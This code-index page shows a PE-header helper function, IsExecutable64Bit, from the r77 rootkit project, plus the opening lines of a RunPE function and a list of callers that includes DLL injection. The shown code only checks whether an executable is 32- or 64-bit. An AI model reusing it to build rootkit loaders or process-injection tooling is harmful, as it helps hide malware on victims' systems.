MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / IsExecutable64Bit

Function IsExecutable64Bit

r77api/r77win.c:637–655  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

635}
636
637BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
638{
639 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
640
641 if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
642 {
643 switch (ntHeaders->OptionalHeader.Magic)
644 {
645 case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
646 *is64Bit = FALSE;
647 return TRUE;
648 case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
649 *is64Bit = TRUE;
650 return TRUE;
651 }
652 }
653
654 return FALSE;
655}
656BOOL RunPE(LPCWSTR path, LPBYTE payload)
657{
658 BOOL isPayload64Bit;

Callers 4

GetExecutableFunctionMethod · 0.85
RunPEFunction · 0.85
GetExecutableFunctionFunction · 0.85
InjectDllFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected